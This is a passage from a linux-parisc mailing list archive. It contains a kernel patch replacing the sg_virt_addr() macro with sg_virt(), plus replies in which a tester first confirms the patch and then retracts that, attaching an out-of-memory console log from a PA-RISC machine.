 arch/parisc/include/asm/cacheflush.h  |  2 +-
 arch/parisc/include/asm/scatterlist.h | 10 ----------
 arch/parisc/kernel/pci-dma.c          |  8 ++++----
 drivers/parisc/ccio-dma.c             |  6 +++---
 drivers/parisc/iommu-helpers.h        | 30 ++++++++++++++++--------------
 drivers/parisc/sba_iommu.c            |  7 +++----
 7 files changed, 28 insertions(+), 36 deletions(-)
 delete mode 100644 arch/parisc/include/asm/scatterlist.h

diff --git a/arch/parisc/include/asm/Kbuild b/arch/parisc/include/asm/Kbuild
index 8686237..a5f0375 100644
--- a/arch/parisc/include/asm/Kbuild
+++ b/arch/parisc/include/asm/Kbuild
@@ -20,6 +20,7 @@ generic-y += param.h
 generic-y += percpu.h
 generic-y += poll.h
 generic-y += preempt.h
+generic-y += scatterlist.h
 generic-y += segment.h
 generic-y += topology.h
 generic-y += trace_clock.h
diff --git a/arch/parisc/include/asm/cacheflush.h b/arch/parisc/include/asm/cacheflush.h
index de65f66..873fd4a 100644
--- a/arch/parisc/include/asm/cacheflush.h
+++ b/arch/parisc/include/asm/cacheflush.h
@@ -44,7 +44,7 @@ static inline void flush_kernel_dcache_page(struct page *page)
 }
 
 #define flush_kernel_dcache_range(start,size) \
-	flush_kernel_dcache_range_asm((start), (start)+(size));
+	flush_kernel_dcache_range_asm((unsigned long)(start), (start)+(size));
 /* vmap range flushes and invalidates.  Architecturally, we don't need
  * the invalidate, because the CPU should refuse to speculate once an
  * area has been flushed, so invalidate is left empty */
diff --git a/arch/parisc/include/asm/scatterlist.h b/arch/parisc/include/asm/scatterlist.h
deleted file mode 100644
index 8bf1f0d..0000000
--- a/arch/parisc/include/asm/scatterlist.h
+++ /dev/null
@@ -1,10 +0,0 @@
-#ifndef _ASM_PARISC_SCATTERLIST_H
-#define _ASM_PARISC_SCATTERLIST_H
-
-#include <asm/page.h>
-#include <asm/types.h>
-#include <asm-generic/scatterlist.h>
-
-#define sg_virt_addr(sg) ((unsigned long)sg_virt(sg))
-
-#endif /* _ASM_PARISC_SCATTERLIST_H */
diff --git a/arch/parisc/kernel/pci-dma.c b/arch/parisc/kernel/pci-dma.c
index d87d1c4..f428878 100644
--- a/arch/parisc/kernel/pci-dma.c
+++ b/arch/parisc/kernel/pci-dma.c
@@ -482,7 +482,7 @@ static int pa11_dma_map_sg(struct device *dev, struct scatterlist *sglist, int n
 	BUG_ON(direction == DMA_NONE);
 
 	for (i = 0; i < nents; i++, sglist++ ) {
-		unsigned long vaddr = sg_virt_addr(sglist);
+		unsigned long vaddr = (unsigned long)sg_virt(sglist);
 		sg_dma_address(sglist) = (dma_addr_t) virt_to_phys(vaddr);
 		sg_dma_len(sglist) = sglist->length;
 		flush_kernel_dcache_range(vaddr, sglist->length);
@@ -502,7 +502,7 @@ static void pa11_dma_unmap_sg(struct device *dev, struct scatterlist *sglist, in
 	/* once we do combining we'll need to use phys_to_virt(sg_dma_address(sglist)) */
 
 	for (i = 0; i < nents; i++, sglist++ )
-		flush_kernel_dcache_range(sg_virt_addr(sglist), sglist->length);
+		flush_kernel_dcache_range(sg_virt(sglist), sglist->length);
 	return;
 }
 
@@ -527,7 +527,7 @@ static void pa11_dma_sync_sg_for_cpu(struct device *dev, struct scatterlist *sgl
 	/* once we do combining we'll need to use phys_to_virt(sg_dma_address(sglist)) */
 
 	for (i = 0; i < nents; i++, sglist++ )
-		flush_kernel_dcache_range(sg_virt_addr(sglist), sglist->length);
+		flush_kernel_dcache_range(sg_virt(sglist), sglist->length);
 }
 
 static void pa11_dma_sync_sg_for_device(struct device *dev, struct scatterlist *sglist, int nents, enum dma_data_direction direction)
@@ -537,7 +537,7 @@ static void pa11_dma_sync_sg_for_device(struct device *dev, struct scatterlist *
 	/* once we do combining we'll need to use phys_to_virt(sg_dma_address(sglist)) */
 
 	for (i = 0; i < nents; i++, sglist++ )
-		flush_kernel_dcache_range(sg_virt_addr(sglist), sglist->length);
+		flush_kernel_dcache_range(sg_virt(sglist), sglist->length);
 }
 
 struct hppa_dma_ops pcxl_dma_ops = {
diff --git a/drivers/parisc/ccio-dma.c b/drivers/parisc/ccio-dma.c
index 8b490d7..5347847 100644
--- a/drivers/parisc/ccio-dma.c
+++ b/drivers/parisc/ccio-dma.c
@@ -916,7 +916,7 @@ ccio_map_sg(struct device *dev, struct scatterlist *sglist, int nents,
 	/* Fast path single entry scatterlists. */
 	if (nents == 1) {
 		sg_dma_address(sglist) = ccio_map_single(dev,
-				(void *)sg_virt_addr(sglist), sglist->length,
+				sg_virt(sglist), sglist->length,
 				direction);
 		sg_dma_len(sglist) = sglist->length;
 		return 1;
@@ -983,8 +983,8 @@ ccio_unmap_sg(struct device *dev, struct scatterlist *sglist, int nents,
 	BUG_ON(!dev);
 	ioc = GET_IOC(dev);
 
-	DBG_RUN_SG("%s() START %d entries,  %08lx,%x\n",
-		__func__, nents, sg_virt_addr(sglist), sglist->length);
+	DBG_RUN_SG("%s() START %d entries, %p,%x\n",
+		__func__, nents, sg_virt(sglist), sglist->length);
 
 #ifdef CCIO_COLLECT_STATS
 	ioc->usg_calls++;
diff --git a/drivers/parisc/iommu-helpers.h b/drivers/parisc/iommu-helpers.h
index 8c33491..9a55002 100644
--- a/drivers/parisc/iommu-helpers.h
+++ b/drivers/parisc/iommu-helpers.h
@@ -30,9 +30,9 @@ iommu_fill_pdir(struct ioc *ioc, struct scatterlist *startsg, int nents,
 		unsigned long vaddr;
 		long size;
 
-		DBG_RUN_SG(" %d : %08lx/%05x %08lx/%05x\n", nents,
+		DBG_RUN_SG(" %d : %08lx/%05x %p/%05x\n", nents,
 			   (unsigned long)sg_dma_address(startsg), cnt,
-			   sg_virt_addr(startsg), startsg->length
+			   sg_virt(startsg), startsg->length
 		);
 
 
@@ -66,7 +66,7 @@ iommu_fill_pdir(struct ioc *ioc, struct scatterlist *startsg, int nents,
 		
 		BUG_ON(pdirp == NULL);
 		
-		vaddr = sg_virt_addr(startsg);
+		vaddr = (unsigned long)sg_virt(startsg);
 		sg_dma_len(dma_sg) += startsg->length;
 		size = startsg->length + dma_offset;
 		dma_offset = 0;
@@ -113,7 +113,7 @@ iommu_coalesce_chunks(struct ioc *ioc, struct device *dev,
 		*/
 		contig_sg = startsg;
 		dma_len = startsg->length;
-		dma_offset = sg_virt_addr(startsg) & ~IOVP_MASK;
+		dma_offset = startsg->offset;
 
 		/* PARANOID: clear entries */
 		sg_dma_address(startsg) = 0;
@@ -124,14 +124,13 @@ iommu_coalesce_chunks(struct ioc *ioc, struct device *dev,
 		** it's always looking one "ahead".
 		*/
 		while(--nents > 0) {
-			unsigned long prevstartsg_end, startsg_end;
+			unsigned long prev_end, sg_start;
 
-			prevstartsg_end = sg_virt_addr(startsg) +
-				startsg->length;
+			prev_end = (unsigned long)sg_virt(startsg) +
+							startsg->length;
 
 			startsg++;
-			startsg_end = sg_virt_addr(startsg) + 
-				startsg->length;
+			sg_start = (unsigned long)sg_virt(startsg);
 
 			/* PARANOID: clear entries */
 			sg_dma_address(startsg) = 0;
@@ -150,12 +149,15 @@ iommu_coalesce_chunks(struct ioc *ioc, struct device *dev,
 				break;
 
 			/*
-			** Next see if we can append the next chunk (i.e.
-			** it must end on one page and begin on another
-			*/
-			if (unlikely(((prevstartsg_end | sg_virt_addr(startsg)) & ~PAGE_MASK) != 0))
+			 * Next see if we can append the next chunk (i.e.
+			 * it must end on one page and begin on another, or
+			 * it must start on the same address as the previous
+			 * entry ended.
+			 */
+			if (unlikely((prev_end != sg_start) ||
+			    ((prev_end | sg_start) & ~PAGE_MASK)))
 				break;
-			
+
 			dma_len += startsg->length;
 		}
 
diff --git a/drivers/parisc/sba_iommu.c b/drivers/parisc/sba_iommu.c
index 1ff1b67..e26ed2e 100644
--- a/drivers/parisc/sba_iommu.c
+++ b/drivers/parisc/sba_iommu.c
@@ -278,7 +278,7 @@ sba_dump_sg( struct ioc *ioc, struct scatterlist *startsg, int nents)
 				nents,
 				(unsigned long) sg_dma_address(startsg),
 				sg_dma_len(startsg),
-				sg_virt_addr(startsg), startsg->length);
+				sg_virt(startsg), startsg->length);
 		startsg++;
 	}
 }
@@ -945,8 +945,7 @@ sba_map_sg(struct device *dev, struct scatterlist *sglist, int nents,
 
 	/* Fast path single entry scatterlists. */
 	if (nents == 1) {
-		sg_dma_address(sglist) = sba_map_single(dev,
-						(void *)sg_virt_addr(sglist),
+		sg_dma_address(sglist) = sba_map_single(dev, sg_virt(sglist),
 						sglist->length, direction);
 		sg_dma_len(sglist)     = sglist->length;
 		return 1;
@@ -1025,7 +1024,7 @@ sba_unmap_sg(struct device *dev, struct scatterlist *sglist, int nents,
 #endif
 
 	DBG_RUN_SG("%s() START %d entries,  %p,%x\n",
-		__func__, nents, sg_virt_addr(sglist), sglist->length);
+		__func__, nents, sg_virt(sglist), sglist->length);
 
 	ioc = GET_IOC(dev);
 
-- 
2.1.4

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: Eliminate sg_virt_addr() and private scatterlist.h
Date: Sat, 21 Mar 2015 11:04:57 -0400
Lines: 27
Approved: news@gmane.org
Message-ID: <BLU437-SMTP942FD29D20A2E21EC80670970F0@phx.gbl>
References: <1426873079-32288-1-git-send-email-matthew.r.wilcox@intel.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v1085)
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1426950315 11763 80.91.229.3 (21 Mar 2015 15:05:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 21 Mar 2015 15:05:15 +0000 (UTC)
Cc: linux-parisc List <linux-parisc@vger.kernel.org>
To: Matthew Wilcox <matthew.r.wilcox@intel.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Mar 21 16:05:07 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1YZKxV-0000DD-K3
	for glpp-linux-parisc@plane.gmane.org; Sat, 21 Mar 2015 16:05:05 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751251AbbCUPFB (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 21 Mar 2015 11:05:01 -0400
Original-Received: from blu004-omc4s4.hotmail.com ([65.55.111.143]:64253 "EHLO
	BLU004-OMC4S4.hotmail.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1750801AbbCUPFA (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 21 Mar 2015 11:05:00 -0400
Original-Received: from BLU437-SMTP94 ([65.55.111.137]) by BLU004-OMC4S4.hotmail.com over TLS secured channel with Microsoft SMTPSVC(7.5.7601.22751);
	 Sat, 21 Mar 2015 08:05:00 -0700
X-TMN: [6TSg0XgiLhGPS0IOZzgO/DNPsE3P4w4C]
X-Originating-Email: [dave.anglin@bell.net]
In-Reply-To: <1426873079-32288-1-git-send-email-matthew.r.wilcox@intel.com>
X-Mailer: Apple Mail (2.1085)
X-OriginalArrivalTime: 21 Mar 2015 15:04:58.0783 (UTC) FILETIME=[65F482F0:01D063E8]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:25673
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/25673>

On 2015-03-20, at 1:37 PM, Matthew Wilcox wrote:

> From: Matthew Wilcox <willy@linux.intel.com>
> 
> The only reason to keep parisc's private asm/scatterlist.h was that it
> had the macro sg_virt_addr().  Convert all callers to use something else
> (sometimes just sg->offset was enough, others should use sg_virt()), and
> we can just use the asm-generic scatterlist.h instead.
> 
> Signed-off-by: Matthew Wilcox <willy@linux.intel.com>
> ---
> 
> I haven't even compile-tested these changes ... I do have some PA-RISC
> equipment, but it hasn't been turned on in seven years.

Tested-by: dave.anglin@bell.net

--
John David Anglin	dave.anglin@bell.net



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: Eliminate sg_virt_addr() and private scatterlist.h
Date: Sat, 21 Mar 2015 18:38:24 -0400
Lines: 503
Approved: news@gmane.org
Message-ID: <BLU436-SMTP104E07C2063DB7F0270896D970F0@phx.gbl>
References: <1426873079-32288-1-git-send-email-matthew.r.wilcox@intel.com> <BLU437-SMTP942FD29D20A2E21EC80670970F0@phx.gbl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v1085)
Content-Type: multipart/mixed; boundary="Apple-Mail-3--153777285"
X-Trace: ger.gmane.org 1426977521 19375 80.91.229.3 (21 Mar 2015 22:38:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 21 Mar 2015 22:38:41 +0000 (UTC)
Cc: Matthew Wilcox <matthew.r.wilcox@intel.com>,
	linux-parisc List <linux-parisc@vger.kernel.org>,
	Helge Deller <deller@gmx.de>
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Mar 21 23:38:34 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1YZS2J-00027D-Mu
	for glpp-linux-parisc@plane.gmane.org; Sat, 21 Mar 2015 23:38:32 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751494AbbCUWi3 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 21 Mar 2015 18:38:29 -0400
Original-Received: from blu004-omc4s6.hotmail.com ([65.55.111.145]:58552 "EHLO
	BLU004-OMC4S6.hotmail.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751487AbbCUWi2 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 21 Mar 2015 18:38:28 -0400
Original-Received: from BLU436-SMTP104 ([65.55.111.137]) by BLU004-OMC4S6.hotmail.com over TLS secured channel with Microsoft SMTPSVC(7.5.7601.22751);
	 Sat, 21 Mar 2015 15:38:27 -0700
X-TMN: [HHgfNwdkbthIc3pYrcOqcVKypPQhlORa]
X-Originating-Email: [dave.anglin@bell.net]
In-Reply-To: <BLU437-SMTP942FD29D20A2E21EC80670970F0@phx.gbl>
X-Mailer: Apple Mail (2.1085)
X-OriginalArrivalTime: 21 Mar 2015 22:38:26.0586 (UTC) FILETIME=[BF11C7A0:01D06427]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:25674
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/25674>

--Apple-Mail-3--153777285
Content-Transfer-Encoding: quoted-printable
Content-Type: text/plain; charset="us-ascii"

On 2015-03-21, at 11:04 AM, John David Anglin wrote:

> On 2015-03-20, at 1:37 PM, Matthew Wilcox wrote:
>=20
>> From: Matthew Wilcox <willy@linux.intel.com>
>>=20
>> The only reason to keep parisc's private asm/scatterlist.h was that =
it
>> had the macro sg_virt_addr().  Convert all callers to use something =
else
>> (sometimes just sg->offset was enough, others should use sg_virt()), =
and
>> we can just use the asm-generic scatterlist.h instead.
>>=20
>> Signed-off-by: Matthew Wilcox <willy@linux.intel.com>
>> ---
>>=20
>> I haven't even compile-tested these changes ... I do have some =
PA-RISC
>> equipment, but it hasn't been turned on in seven years.
>=20
> Tested-by: dave.anglin@bell.net

Possibly when I sent the above, it was a little early to say the change =
was "tested".
See attached.  Console log is somewhat truncated.

Dave
--
John David Anglin	dave.anglin@bell.net



--Apple-Mail-3--153777285
Content-Disposition: attachment; filename="oom.txt"
Content-Type: text/plain; name="oom.txt"
Content-Transfer-Encoding: quoted-printable

[10457]  1000 10457     1235      314      19       0      352           =
  0 make
[11456]  1000 11456     1229      298      24       0      102           =
  0 bash
[11465]  1000 11465     1241      290      11       0      114           =
  0 bash
[11483]  1000 11483     2830      314      22       0     1914           =
  0 make
[ 1790]  1000  1790     1218      282      24       0       83           =
  0 bash
[ 1791]  1000  1791     2805      314      22       0     1897           =
  0 make
[ 1859]  1000  1859     1203      282      24       0       68           =
  0 bash
[ 1860]  1000  1860     1208      306      11       0       73           =
  0 bash
[ 1870]  1000  1870    31806      408      51       0     7240           =
  0 expect
[16044]   105 16044     1806      160      32       0      121           =
  0 pickup
[ 1530]  1000  1530      837      282       8       0       54           =
  0 xgcc
[ 1537]  1000  1537      764       16       8       0       36           =
  0 collect2
[ 1538]  1000  1538     1239      314      10       0      444           =
  0 ld.bfd.real
[ 1540]  1000  1540      803      298       8       0       39           =
  0 lto-wrapper
[ 1543]  1000  1543      838      282       8       0       47           =
  0 xgcc
Out of memory: Kill process 2705 (sanlock) score 2 or sacrifice child
Killed process 2705 (sanlock) total-vm:44176kB, anon-rss:37368kB, =
file-rss:2484kB
kthreadd invoked oom-killer: gfp_mask=3D0x2000d0, order=3D2, =
oom_score_adj=3D0
CPU: 2 PID: 2 Comm: kthreadd Not tainted 4.0.0-rc4+ #1
Backtrace:
 [<00000000401588b8>] show_stack+0x20/0x38
 [<000000004037e804>] dump_stack+0x9c/0x110
 [<00000000402142b4>] dump_header.isra.12+0xb4/0x218
 [<0000000040214e44>] oom_kill_process+0x3f4/0x6d8
 [<00000000402153cc>] __out_of_memory+0x2a4/0x488
 [<0000000040215980>] out_of_memory+0x98/0xe8
 [<000000004021b55c>] __alloc_pages_nodemask+0x75c/0x7f0
 [<000000004021b8d4>] alloc_kmem_pages_node+0x5c/0x70
 [<000000004017dd34>] copy_process.part.62+0x184/0x1c18
 [<0000000040144020>] end_fault_vector+0x20/0x28
 [<00000000402136d8>] mempool_alloc_slab+0x28/0x40
 [<0000000040213974>] mempool_alloc+0xa4/0x208
 [<00000000142d47b0>] scsi_sg_alloc+0x50/0x150 [scsi_mod]
 [<0000000040394178>] __sg_alloc_table+0xb0/0x1e0

Mem-info:
Normal per-cpu:
CPU    0: hi:  186, btch:  31 usd:  25
CPU    1: hi:  186, btch:  31 usd: 127
CPU    2: hi:  186, btch:  31 usd:   0
CPU    3: hi:  186, btch:  31 usd:  13
Normal per-cpu:
CPU    0: hi:  186, btch:  31 usd:   0
CPU    1: hi:  186, btch:  31 usd:   0
CPU    2: hi:  186, btch:  31 usd:   0
CPU    3: hi:  186, btch:  31 usd:   0
Normal per-cpu:
CPU    0: hi:  186, btch:  31 usd:   0
CPU    1: hi:  186, btch:  31 usd:   0
CPU    2: hi:  186, btch:  31 usd:   0
CPU    3: hi:  186, btch:  31 usd:   0
active_anon:0 inactive_anon:8 isolated_anon:0
 active_file:56 inactive_file:60 isolated_file:0
 unevictable:10016 dirty:0 writeback:0 unstable:0
 free:77039 slab_reclaimable:171489 slab_unreclaimable:21760
 mapped:729 shmem:0 pagetables:1431 bounce:0
 free_cma:0
Normal free:47364kB min:1384kB low:1728kB high:2076kB active_anon:0kB =
inactive_anon:0kB active_file:224kB inactive_file:240kB =
unevictable:40064kB isolated(anon):0kB isolated(file):0kB =
present:1048576kB managed:995888kB mlocked:40064kB dirty:0kB =
writeback:0kB mapped:2916kB shmem:0kB slab_reclaimable:52584kB =
slab_unreclaimable:19116kB kernel_stack:2672kB pagetables:5704kB =
unstable:0kB bounce:0kB free_cma:0kB writeback_tmp:0kB pages_scanned:0 =
all_unreclaimable? no
lowmem_reserve[]: 0 0
Normal free:132376kB min:5760kB low:7200kB high:8640kB active_anon:0kB =
inactive_anon:52kB active_file:0kB inactive_file:0kB unevictable:0kB =
isolated(anon):0kB isolated(file):0kB present:4192256kB =
managed:4134812kB mlocked:0kB dirty:0kB writeback:0kB mapped:0kB =
shmem:0kB slab_reclaimable:435152kB slab_unreclaimable:46872kB =
kernel_stack:32kB pagetables:20kB unstable:0kB bounce:0kB free_cma:0kB =
writeback_tmp:0kB pages_scanned:416 all_unreclaimable? yes
lowmem_reserve[]: 0 0
Normal free:128416kB min:4324kB low:5404kB high:6484kB active_anon:0kB =
inactive_anon:0kB active_file:0kB inactive_file:0kB unevictable:0kB =
isolated(anon):0kB isolated(file):0kB present:3145728kB =
managed:3102620kB mlocked:0kB dirty:0kB writeback:0kB mapped:0kB =
shmem:0kB slab_reclaimable:198220kB slab_unreclaimable:21052kB =
kernel_stack:384kB pagetables:0kB unstable:0kB bounce:0kB free_cma:0kB =
writeback_tmp:0kB pages_scanned:0 all_unreclaimable? yes
lowmem_reserve[]: 0 0
Normal: 11079*4kB (UEM) 467*8kB (UEM) 9*16kB (UMR) 1*32kB (R) 1*64kB (R) =
1*128kB (R) 0*256kB 0*512kB 0*1024kB 0*2048kB 0*4096kB =3D 48420kB
Normal: 32226*4kB (UEM) 434*8kB (UM) 0*16kB 0*32kB 0*64kB 0*128kB =
0*256kB 0*512kB 0*1024kB 0*2048kB 0*4096kB =3D 132376kB
Normal: 27604*4kB (UEM) 2116*8kB (UEM) 67*16kB (M) 0*32kB 0*64kB 0*128kB =
0*256kB 0*512kB 0*1024kB 0*2048kB 0*4096kB =3D 128416kB
725 total pagecache pages
34 pages in swap cache
Swap cache stats: add 91383, delete 91349, find 928197/954032
Free swap  =3D 7732896kB
Total swap =3D 7815616kB
2096640 pages of RAM
10777 reserved pages
Zone list for zone 0 on node 0: [0/Normal] [0/Normal] [0/Normal]=20
Zone list for zone 1 on node 0: [0/Normal] [0/Normal] [0/Normal]=20
Zone list for zone 0 on node 1: [0/Normal] [0/Normal] [0/Normal]=20
Zone list for zone 1 on node 1: [0/Normal] [0/Normal] [0/Normal]=20
Zone list for zone 0 on node 2: [0/Normal] [0/Normal] [0/Normal]=20
Zone list for zone 1 on node 2: [0/Normal] [0/Normal] [0/Normal]=20
[ pid ]   uid  tgid total_vm      rss nr_ptes nr_pmds swapents =
oom_score_adj name
[ 1114]     0  1114     2700      419      36       0      207         =
-1000 udevd
[ 2271]     0  2271     1040      393      33       0       92           =
  0 rpcbind
[ 2315]   102  2315     1082      399      32       0      133           =
  0 rpc.statd
[ 2348]     0  2348      698      244      16       0       48           =
  0 rpc.idmapd
[ 2586]     0  2586      499      346       6       0       38           =
  0 minissdpd
[ 2607]     0  2607      855      235      15       0       43           =
  0 uuidd
[ 2630]     0  2630      751      384      22       0       75           =
  0 cgmanager
[ 2637]     0  2637     7971      148      34       0      205           =
  0 rsyslogd
[ 2725]     0  2725      750      345      22       0       63           =
  0 cgproxy
[ 2754]     0  2754      621      346      13       0       46           =
  0 atd
[ 2815]     0  2815     1043      346      13       0       52           =
  0 irqbalance
[ 2830]     0  2830    20108      187      23       0      126           =
  0 nscd
[ 2841]     0  2841    24952      173      58       0     2013           =
  0 lwresd
[ 2872]     0  2872      611      354      11       0       29           =
  0 inetd
[ 2916]     0  2916     2519      371      66       0      216           =
  0 cupsd
[ 2934]   104  2934     1239      361      32       0      113           =
  0 dbus-daemon
[ 3006]   120  3006    47532      433      82       0      325          =
-900 postgres
[ 3009]   120  3009    47532      194      55       0      336           =
  0 postgres
[ 3011]   120  3011    47532      213      56       0      337           =
  0 postgres
[ 3012]   120  3012    47532      326      54       0      348           =
  0 postgres
[ 3013]   120  3013    47606      391      59       0      381           =
  0 postgres
[ 3015]   120  3015    11562      391      52       0      336           =
  0 postgres
[ 3042]   106  3042     1499      399      30       0      116           =
  0 ntpd
[ 3130]   118  3130      883      336      27       0       75           =
  0 avahi-daemon
[ 3138]     0  3138      733      345      23       0       53           =
  0 cron
[ 3139]   118  3139      851      219      22       0       61           =
  0 avahi-daemon
[ 3165]     0  3165     1375      357      19       0       93           =
  0 ofonod
[ 3240]     0  3240     1851      322      34       0      152         =
-1000 sshd
[ 3429]     0  3429     1853      167      32       0      122           =
  0 master
[ 3436]   105  3436     1817      148      31       0      118           =
  0 qmgr
[ 3455]     0  3455      569      346      14       0       34           =
  0 getty
[ 3464]     0  3464      851      400      27       0       59           =
  0 systemd-logind
[ 3873]  1000  3873      521       96       6       0       26           =
  0 build
[10439]  1000 10439     1231      314      19       0      336           =
  0 make
[10445]  1000 10445     1208      298      24       0       73           =
  0 bash
[10457]  1000 10457     1235      314      19       0      352           =
  0 make
[11456]  1000 11456     1229      298      24       0      102           =
  0 bash
[11465]  1000 11465     1241      290      11       0      114           =
  0 bash
[11483]  1000 11483     2830      314      22       0     1914           =
  0 make
[ 1790]  1000  1790     1218      282      24       0       83           =
  0 bash
[ 1791]  1000  1791     2805      314      22       0     1897           =
  0 make
[ 1859]  1000  1859     1203      282      24       0       68           =
  0 bash
[ 1860]  1000  1860     1208      306      11       0       73           =
  0 bash
[ 1870]  1000  1870    31806      408      51       0     7240           =
  0 expect
[16044]   105 16044     1806      160      32       0      121           =
  0 pickup
[ 1530]  1000  1530      837      282       8       0       54           =
  0 xgcc
[ 1537]  1000  1537      764       16       8       0       36           =
  0 collect2
[ 1538]  1000  1538     1239      314      10       0      444           =
  0 ld.bfd.real
[ 1540]  1000  1540      803      298       8       0       39           =
  0 lto-wrapper
[ 1543]  1000  1543      838      282       8       0       47           =
  0 xgcc
[ 1544]  1000  1544      838      247       6       0       47           =
  0 xgcc
Out of memory: Kill process 1870 (expect) score 1 or sacrifice child
Killed process 1530 (xgcc) total-vm:3348kB, anon-rss:0kB, =
file-rss:1128kB
INFO: task kswapd1:285 blocked for more than 120 seconds.
      Not tainted 4.0.0-rc4+ #1
"echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables this =
message.
kswapd1         D 00000000401440c0     0   285      2 0x00000000
Backtrace:
 [<000000004014e4e8>] __schedule+0x248/0x5d0
 [<000000004014e8b8>] schedule+0x48/0xc8
 [<000000001d083f40>] _xfs_log_force_lsn+0x230/0x440 [xfs]
 [<000000001d08417c>] xfs_log_force_lsn+0x2c/0x90 [xfs]
 [<000000001d068614>] __xfs_iunpin_wait+0xb4/0x1f0 [xfs]
 [<000000001d06d78c>] xfs_iunpin_wait+0x2c/0x190 [xfs]
 [<000000001d05d7fc>] xfs_reclaim_inode+0x9c/0x550 [xfs]
 [<000000001d05de68>] xfs_reclaim_inodes_ag+0x1b8/0x520 [xfs]
 [<000000001d05ee80>] xfs_reclaim_inodes_nr+0x60/0xb0 [xfs]
 [<000000001d076004>] xfs_fs_free_cached_objects+0x24/0x58 [xfs]
 [<000000004026a79c>] super_cache_scan+0x2fc/0x308
 [<0000000040225f54>] shrink_slab.part.48.constprop.57+0x31c/0x3c8
 [<000000004022927c>] shrink_zone+0xe4/0xe8
 [<0000000040229cf4>] kswapd+0x614/0xae0
 [<00000000401a4824>] kthread+0x144/0x178
 [<0000000040144020>] end_fault_vector+0x20/0x28

INFO: task kswapd2:286 blocked for more than 120 seconds.
      Not tainted 4.0.0-rc4+ #1
"echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables this =
message.
kswapd2         D 00000000401440c0     0   286      2 0x00000000
Backtrace:
 [<000000004014e4e8>] __schedule+0x248/0x5d0
 [<000000004014e8b8>] schedule+0x48/0xc8
 [<000000004014ed58>] schedule_preempt_disabled+0x20/0x38
 [<0000000040151b70>] __mutex_lock_slowpath+0x180/0x3f0
 [<0000000040151e04>] mutex_lock+0x24/0x48
 [<000000001d05df60>] xfs_reclaim_inodes_ag+0x2b0/0x520 [xfs]
 [<000000001d05ee80>] xfs_reclaim_inodes_nr+0x60/0xb0 [xfs]
 [<000000001d076004>] xfs_fs_free_cached_objects+0x24/0x58 [xfs]
 [<000000004026a79c>] super_cache_scan+0x2fc/0x308
 [<0000000040225f54>] shrink_slab.part.48.constprop.57+0x31c/0x3c8
 [<000000004022927c>] shrink_zone+0xe4/0xe8
 [<0000000040229cf4>] kswapd+0x614/0xae0
 [<00000000401a4824>] kthread+0x144/0x178
 [<0000000040144020>] end_fault_vector+0x20/0x28
 [<00000000402136d8>] mempool_alloc_slab+0x28/0x40
 [<0000000040213974>] mempool_alloc+0xa4/0x208
INFO: task postgres:3006 blocked for more than 120 seconds.
      Not tainted 4.0.0-rc4+ #1
"echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables this =
message.
postgres        D 00000000401440c0     0  3006      1 0x00000010
Backtrace:
 [<000000004014e4e8>] __schedule+0x248/0x5d0
 [<000000004014e8b8>] schedule+0x48/0xc8
 [<000000004014ed58>] schedule_preempt_disabled+0x20/0x38
 [<0000000040151b70>] __mutex_lock_slowpath+0x180/0x3f0
 [<0000000040151e04>] mutex_lock+0x24/0x48
 [<000000001d05df60>] xfs_reclaim_inodes_ag+0x2b0/0x520 [xfs]
 [<000000001d05ee80>] xfs_reclaim_inodes_nr+0x60/0xb0 [xfs]
